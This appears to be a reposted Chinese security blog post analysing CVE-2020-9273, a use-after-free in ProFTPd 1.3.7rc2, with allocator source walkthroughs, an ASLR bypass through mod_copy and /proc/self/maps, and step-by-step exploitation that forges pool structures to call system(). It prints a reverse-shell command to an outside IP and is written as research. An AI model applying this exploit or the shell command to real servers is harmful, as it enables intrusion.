天玄安全实验室 12小时前
CVE-2020-9273 ProFTPd RCE漏洞分析与利用
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入分析了 ProFTPd 软件中存在的 UAF(Use-After-Free)漏洞,该漏洞通过伪造内存池控制结构,允许攻击者篡改函数指针,从而实现任意命令执行。文章详细介绍了漏洞的触发条件、关键函数、内存管理机制,以及绕过 ASLR 的方法,为安全研究人员提供了宝贵的参考。

🛡️ ProFTPd 是一款流行的 FTP 服务软件,但其内存管理机制存在漏洞,可能导致安全问题。

💥 UAF 漏洞类型允许攻击者通过精心构造的恶意数据来控制程序执行流程,造成严重危害。

🔍 漏洞利用的关键在于伪造 `pool_rec` 结构,进而篡改函数指针,实现任意代码执行。

🛠️ 绕过 ASLR(Address Space Layout Randomization)是利用该漏洞的关键一步,ProFTPd 的 mod_copy 模块提供了便利。

💡 漏洞的成功利用需要精确控制程序的执行流程,包括线程间的交互和数据传输。

原创 knaithe 2022-12-01 12:30 北京

漏洞描述:UAF类型的漏洞,通过伪造pool_rec内存池控制结构,可以篡改函数指针,从而达到任意命令执行。

漏洞描述:UAF类型的漏洞,通过伪造pool_rec内存池控制结构,可以篡改函数指针,从而达到任意命令执行。
漏洞修复https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49
影响版本:小于v1.3.7rc3
测试版本:v1.3.7rc2
保护机制:Canary/NX/Full RelRO(ubuntu 18.04版本)

环境搭建 调试环境/目标机器:ubuntu 18.04

ProFTPd源码编译及部署

// 安装依赖
apt-get install -y build-essential net-tools git 
// 源码下载
git clone https://github.com/proftpd/proftpd.git
// 切换到存在漏洞分支
git checkout -b 1.3.7rc2 v1.3.7rc2
// 生成Makefile文件,带gdb调试信息
./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl
// 编译
make -j4
// 打包
apt install -y checkinstall
// 含debug信息
checkinstall -D \
--pkgname='ProFTPd' \
--pkgversion="1.3.7rc2" \
--maintainer="yuanyue@qianxin.com" \
--install=no \
--strip=no \
--stripso=no
创建匿名用户

groupadd ftp #添加ftp组
useradd ftp -g ftp -d /var/ftp #添加ftp用户
passwd ftp #设置匿名ftp用户密码为ftp
proftpd.conf匿名登录配置:如果没有/usr/etc/proftpd.conf这个文件,将以下内容写入。

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName   "ProFTPD Default Installation"
ServerType   standalone
DefaultServer   on
# Port 21 is the standard FTP port.
Port    21
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask    022
# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances   30
# Set the user and group under which the server will run.
User    nobody
Group    nogroup
# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~
# Normally, we want files to be overwriteable.
<Directory />
  AllowOverwrite  on
</Directory>
# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User    ftp
  Group    ftp
  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias   anonymous ftp
  # Limit the maximum number of anonymous logins
  MaxClients   10
  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin   welcome.msg
  #DisplayFirstChdir  .message
  # Limit WRITE everywhere in the anonymous chroot
  #<Limit WRITE>
  #  DenyAll
  #</Limit>
</Anonymous>
如果有/usr/etc/proftpd.conf这个文件,则注释掉下面三行配置,允许匿名用户上传文件。

  #<Limit WRITE>
  #  DenyAll
  #</Limit>
启动proftpd服务

// 直接执行
/usr/sbin/proftpd
gdb调试:关闭系统ASLR,同时注释掉exp里绕获取maps的连接的线程,让proftpd第一个子进程就是漏洞进程,暂时没有找到其它方法在多个子进程里打断点。

gdb /usr/sbin/proftpd \
 -ex "set detach-on-fork on" \
 -ex "set follow-fork-mode child" \
 -ex "set breakpoint pending on" \
 -ex "b xfer_stor" \
 -ex "b pr_data_xfer" \
 -ex "b pr_data_abort" \
 -ex "b _exit"
漏洞分析 ProFTPD介绍proftpd服务全程是Professional FTP daemon,是目前最为流行的FTP服务软件,相比于vsfptd,proftpd配置灵活,可配置选项更多,支持匿名、虚拟主机等多种环境部署,proftpd对中文环境兼容比vsftpd要好,相对于vsftpd使用效率要高很多,但是proftpd安全性相较vsfptd差一点。

proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制,根据proftpd自己的文档描述,该alloc_pool机制源于apache的开源项目,至于是源于apache哪个开源项目,proftpd文档里并没有说明,我也没有在apache的项目里找到该内存池源码,毕竟apache的项目成千上万。

内存池分配器介绍关键结构
#define CLICK_SZ (sizeof(union align))
CLICK_SZ是一个宏,代表内存对齐的长度,64位系统的值为8。

block_hdr
union block_hdr {
  union align a;
  /* Padding */
#if defined(_LP64) || defined(__LP64__)
  char pad[32];
#endif
  /* Actual header */
  struct {
    void *endp;
    union block_hdr *next;
    void *first_avail;
  } h;
};
每一个通过alloc_pool()或者make_sub_pool()函数分配的内存块,都一个union block_hdr,是用来描述当前内存块的状态。

h->endp:指向当前内存块的末尾地址。h->next:指向内存块链表的下一个内存块。h->first_avail:指向当前内存块空闲区域的首地址。pool_rec
struct pool_rec {
  union block_hdr *first;
  union block_hdr *last;
  struct cleanup *cleanups;
  struct pool_rec *sub_pools;
  struct pool_rec *sub_next;
  struct pool_rec *sub_prev;
  struct pool_rec *parent;
  char *free_first_avail;
  const char *tag;
};
struct pool_rec是用来记录每一个pool状态的结构,关键成员变量的含义描述如下。

first:当前pool链表中,第一个pool的指针。

last:当前pool链表中,最后一个pool的指针。

cleanups:指向cleanup_t结构体,该结构体在释放pool时会用到。

sub_pools:指向当前pool的sub pool。

sub_next:指向当前pool的后一个pool。

sub_prev:指向当前pool的前一个pool。

parent:指向当前pool的父pool。

free_first_avail:指向当前pool内存块的可分配首地址。

tag:可以理解为pool的标签或者名称,比如session pool、table pool。

关键函数alloc_poolalloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列内存分配函数的底层核心函数,这些函数只对alloc_pool()函数做了简单的封装,我们还是重点介绍alloc_pool()核心函数。

static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
  // 根据请求分配内存大小reqsz的值,按CLICK_SZ对齐计算所需内存大小sz
  /* Round up requested size to an even number of aligned units */
  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
  size_t sz = nclicks * CLICK_SZ;
  union block_hdr *blok;
  char *first_avail, *new_first_avail;
  /* For performance, see if space is available in the most recently
   * allocated block.
   */
  // 从pool中取出最近可用的内存块,如果该pool为空,则函数返回NULL
  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }
  // 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail
  first_avail = blok->h.first_avail;
  // 如果请求分配内存大小reqsz为0,函数直接返回NULL
  if (reqsz == 0) {
    /* Don't try to allocate memory of zero length.
     *
     * This should NOT happen normally; if it does, by returning NULL we
     * almost guarantee a null pointer dereference.
     */
    errno = EINVAL;
    return NULL;
  }
  // 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址
  new_first_avail = first_avail + sz;
  // 计算所需内存大小sz的末尾地址,如果小于等于当前内存块blok的末尾地址,表示当前内存块blok有足够的内分配给用户,并更新当前内存块blok的可用内存首地址,并返回分配的内存的地址。
  if (new_first_avail <= (char *) blok->h.endp) {
    blok->h.first_avail = new_first_avail;  // 并更新当前内存块blok的空闲区域首地址
    return (void *) first_avail;
  }
  /* Need a new one that's big enough */
  pr_alarms_block();
  // 如果当前blok不足以满足sz,则重新向ptmalloc内存分配器申请内存块,并添加到当前pool中
  blok = new_block(sz, exact);
  p->last->h.next = blok; // 记录当前pool最近内存块头部链表的下一个指向新申请的blok
  p->last = blok;   // 将新申请的blok添加到当前pool的内存块链表的末端
  // first_avail指向新申请的blok空闲区域首地址
  first_avail = blok->h.first_avail;
  // 计算所需内存大小sz的末尾地址,也就是新的first_avail地址
  blok->h.first_avail = sz + (char *) blok->h.first_avail; 
  pr_alarms_unblock();
  return (void *) first_avail;
}
new_blocknew_block()函数首先while循环遍历block的空闲链表是否有可用的block,没有则向ptmalloc2内存分配器申请新的内存块。

static union block_hdr *new_block(int minsz, int exact) {
  union block_hdr **lastptr = &block_freelist;
  union block_hdr *blok = block_freelist;
  // exact表示minsz大小是否准确,如果exact=false,则minsz还需要加上512字节,反之则不用
  if (!exact) {
    minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
    minsz *= BLOCK_MINFREE;
  }
  // 遍历block freelist是否有符合要求的block,有则返回符合要求的block
  while (blok) {
    if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) {
      *lastptr = blok->h.next;
      blok->h.next = NULL;
      stat_freehit++;
      return blok;
    }
    lastptr = &blok->h.next;
    blok = blok->h.next;
  }
  // block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请
  /* Nope...damn.  Have to malloc() a new one. */
  stat_malloc++;
  return malloc_block(minsz);
}
malloc_blockmalloc_block()函数间接调用了malloc()函数申请新内存,并初始化新内存块的block头信息

h.next置空。h.first_avail指向新内存块偏移sizeof(union block_hdr)大小之后。h.endp指向内存新内存块的block地址结尾。
static union block_hdr *malloc_block(size_t size) {
  // 间接调用malloc函数,申请内存大小 = 申请对齐后内存的大小 + block头大小
  union block_hdr *blok =
    (union block_hdr *) smalloc(size + sizeof(union block_hdr));
  // 更新新内存block的头信息
  blok->h.next = NULL;
  blok->h.first_avail = (char *) (blok + 1);
  blok->h.endp = size + (char *) blok->h.first_avail;
  return blok;
}
make_sub_poolmake_sub_pool()函数用于在当前pool里申请new_pool,并赋值给当前pool的sub_pool字段,

struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;
  pr_alarms_block();
  // 创建一个512字节的内存块
  blok = new_block(0, FALSE);
  // new_pool指向新创建的blok的block_hdr后,first_avail向后挪动pool hdr的大小
  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
  // 给new_pool的头初始化为0
  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail
  new_pool->first = new_pool->last = blok; //初始化new_pool的first和last为blok
  // 如果p为真,将new_pool的parent设置为p,new_pool的sub_next设置为p的sub_pools
  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;
    // 如果p的sub_pools不为空,就将new_pool插入到p的sub_pools里其它pool之前
    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;
    // 将new_pool插入到p的sub_pools里
    p->sub_pools = new_pool;
  }
  pr_alarms_unblock();
  return new_pool;
}
漏洞触发为了方便触发漏洞,这里我们先关闭系统地址空间布局随机化(ASLR)。

echo 0 > /proc/sys/kernel/randomize_va_space
然后在启动proftpd,这里我们可以启动无子进程方式,需要加上参数-X

/usr/sbin/proftpd -X -n -d10
poc大致步骤

第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。

第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。

第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,为了开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后会停止阻塞,想办法让线程停住,可以通过全局变量+while循环来控制。

第四步,线程B,继续发送一段命令A给proftpd server,发送完,让线程A停止等待,立马让线程A也发送一段垃圾数据给proftpd服务,由于proftpd服务先收到线程B的发送的上传文件的命令,程序进入mod_xfer处理线程B上传文件,并且在poll_ctrl()调用pr_cmd_read()接收到命令A,然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool,后续调用strdup时,访问了这个pool,因为写入的垃圾数据,导致strdup函数访问pool时读取的是垃圾数据并取了地址,出现非法内存的段错误。

漏洞触发

proftpd debug模式运行的崩溃界面,


在gdb调试环境里看到的崩溃堆栈,


漏洞利用 绕过ASLR前提条件:需要proftpd支持mod_copy模块,执行configure文件时加上--with-modules=mod_copy参数,这样proftpd才能支持拷贝粘贴的能力,site cpfr为拷贝,site cpto为粘贴。

绕过思路:ASLR绕过相对较为简单,proftpd支持mod_copy模块,在登录上proftpd服务后,proftpd可以拷贝自身/proc/self/maps来获取进程内堆、代码段、libc的起始地址,proftpd默认模块里,有下载的命令retr,但是没法直接下载/proc/self/maps文件,所以将/proc/self/maps拷贝到/tmp目录下,然后把/tmp/maps文件下载下来,可以得到类似这样的文本内容。


篡改plain_cleanup_cb利用思路:类似于在ptmalloc2里,劫持__free_hook函数指针一样,在proftpd里,通过劫持struct cleanup里的void (*plain_cleanup_cb)(void *)函数指针,来控制执行流,从而达到任意命令执行。

不同:在ptmalloc2里,比较常见的是对__free_hook函数指针进行劫持,来控制执行流,__free_hook函数指针是一个全局变量,所以__free_hook的地址相对于libc.so的基址是固定偏移,只要知道了libc在进程中的起始地址,是可以算出__free_hook函数指针这个变量的地址的,只要有稳定的任意地址写,即可稳定利用,大致内存关系可参考下图。

但是在proftpd服务的内存池palloc里,palloc在释放内存池的时候,能劫持的函数指针,目前比较合适的只有pool_rec->cleanups->plain_cleanup_cb这个函数指针,想要篡改plain_cleanup_cb这个函数指针,就需要知道pool_rec->cleanups->plain_cleanup_cb的地址并对其写入我们想要的数据。pool_rec->cleanups是当前释放的内存池pool的管理结构struct pool_rec的成员,每个pool的管理结构block_hdrstruct pool_rec都在heap段,plain_cleanup_cb的地址也在heap段,这样就很难通过偏移计算plain_cleanup_cb在heap段的地址,就很难稳定的利用plain_cleanup_cb劫持来执行任意代码,pool的内存关系可参考下图。


(注:在64位系统里,palloc内存池按8字节对齐分配内存)

任意地址写cmd->pool是线程A控制的内容fake_pool,通过伪造cmd->pool的内容,借用make_sub_pool()函数的任意地址写(这个任意写内容不可控)绕过pr_cmd_get_displayable_str()函数内的pr_table_get()对"displayable-str"字符串的检索,使其检索失败,继续执行并调用pstrdup(cmd->pool, res)函数,res是线程B控制的内容,pstrdup()函数类似于字符串拷贝,通过将cmd->pool->sub_prev指向gid_tab的地址向前一部分的偏移,以此来篡改gid_tab->pool的地址内容指向cmd->pool - 0x10的地址,这样在释放gid_tab时就会同时释放掉gid_tab->pool,便可调用我们控制的cleanups,从而达到任意命令执行。

利用步骤

前三步和漏洞触发流程一样,

第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。

第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。

第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后,想办法让线程停住,可以通过全局变量+while循环来控制。

从第四步开始有些不同,

第四步,线程B,继续发送一段命令A给proftpd服务,这个命令A内容是特意构造的,就是我们控制pr_cmd_get_displayable_str()函数里pstrdup(cmd->pool, res)函数的第二个参数res,构造的内容包含cmd->pool - 0x10的地址,发送完,让线程A停止等待,立马让线程A发送一段数据给proftpd服务,这次不是再垃圾数据,是我们精心构造好的恶意的pool_reccleanup_tblok_hdr和反弹shell的命令,后面分别用fake_pool_recfake_cleanup_tfake_blok_hdrgCmd来代表,到此,就等待反弹shell吧。

构造shellcode说明,这次shellcode的构建,不同于ptmalloc2的内存管理,这次涉及到大家不熟悉的palloc内存池管理,利用内存池及其控制结构pool_rec和blok_hdr来完成利用,第一次理解起来可能麻烦点,如果大家很熟悉palloc内存池内存池的利用,可以忽略这句话。

在上述的利用第四步中,线程B发送的命令,会在poll_ctrl()函数里第933行调用pr_cmd_read()读取。


线程A发送的shellcode,会在pr_data_xfer()函数第1265行被pr_netio_read()函数读取。


pr_netio_read()函数的参数cl_buf,在xfer_stor()函数第2026行从cmd分配的sub_pool,所以线程A发送的shellcode直接占据了pool_rec及后面的内存,shellcode伪造的内容及关系图如下。


gid_tabcmd->poolcmd->notescmd->notes->chains,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。

线程A发送完shellcode后,进入任意写的流程,会再次调用data.c:933行的pr_cmd_read()函数,此次读到返回小于0,进入if判断,进入pr_session_disconnect()函数, 然后会进入到xfer_exit_ev()函数,调用链为main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()。然后xfer_exit_ev()函数会继续调用pr_cmd_dispatch_phase()_dispatch()函数,到了main.c:287行调用make_sub_pool()函数。


第一个任意地址写,但是写的内容不可控制,在make_sub_pool()函数里,通过箭头指向的两条语句,任意写的内容是new_pool的地址,伪造p->sub_pools指向cmd->notes - 0x10,这样new_pool->sub_next等于cmd->notes - 0x10new_pool->sub_next->sub_prev等同于指向cmd->notes->chains,这个任意写地址内容就是new_pool的地址,内控不可控,不能直接篡改plain_cleanup_cb函数指针写入我们想要的内容,所以第一个任意写内容不可控。


但是我们可以借助这个内容不可控的任意写,篡改cmd->notes->chains的地址。执行完make_sub_pool()函数,紧接着调用pr_cmd_get_displayable_str()函数,cmd.c:374行任意写的地方,内容是可控的,res是线程B发送命令的第二个参数。


在不篡改cmd->notes->chains的情况下,程序会在调用完res = pr_table_get(cmd->notes, "displayable-str", NULL)进入if判断并退出pr_cmd_get_displayable_str()函数,在篡改完cmd->notes->chains的情况下,pr_table_get()函数会返回NULL,继续执行到pstrdup(cmd->pool, res),具体细节自行调试。


当我们伪造的fake_pool_rec->sub_prev字段指向gid_tab-0x90,伪造res的内容为cmd->pool - 0x10,恰好在pstrdup(cmd->pool, res)时,res写入的地址刚好是gid_tab的前8字节,也就是gid_tab->pool的地址为cmd->pool - 0x10,如此一来gid_tab->pool->cleanups的地址便指向了cmd->pool->firstcmd->pool->first通过构造指向了cmd->pool->first + 0x50也就是fake_cleanups,所以当调用pr_table_free(gid_tab)时,最终会调用到run_cleanups()函数,参数为fake_cleanups,fake_cleanups是我们伪造好的,fake_cleanups->data指向一段比如反弹shell的命令bash -c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1" \x00fake_cleanups->plain_cleanup_cb指向system的地址,即可通过system函数调用反弹shell命令。

但有一点,fake_blok_hdr->end必须远大于fake_blok_hdr->first_avail,建议0x300以上。


执行结果


总结 有三个必须注意到的点,

建议关闭系统ASLR调试和利用。gid_tabcmd->poolcmd->notescmd->notes->chains,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。本次利用并不稳定,仅供学习。


阅读原文

跳转微信打开

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

ProFTPd UAF 漏洞 内存管理 漏洞利用 安全
相关文章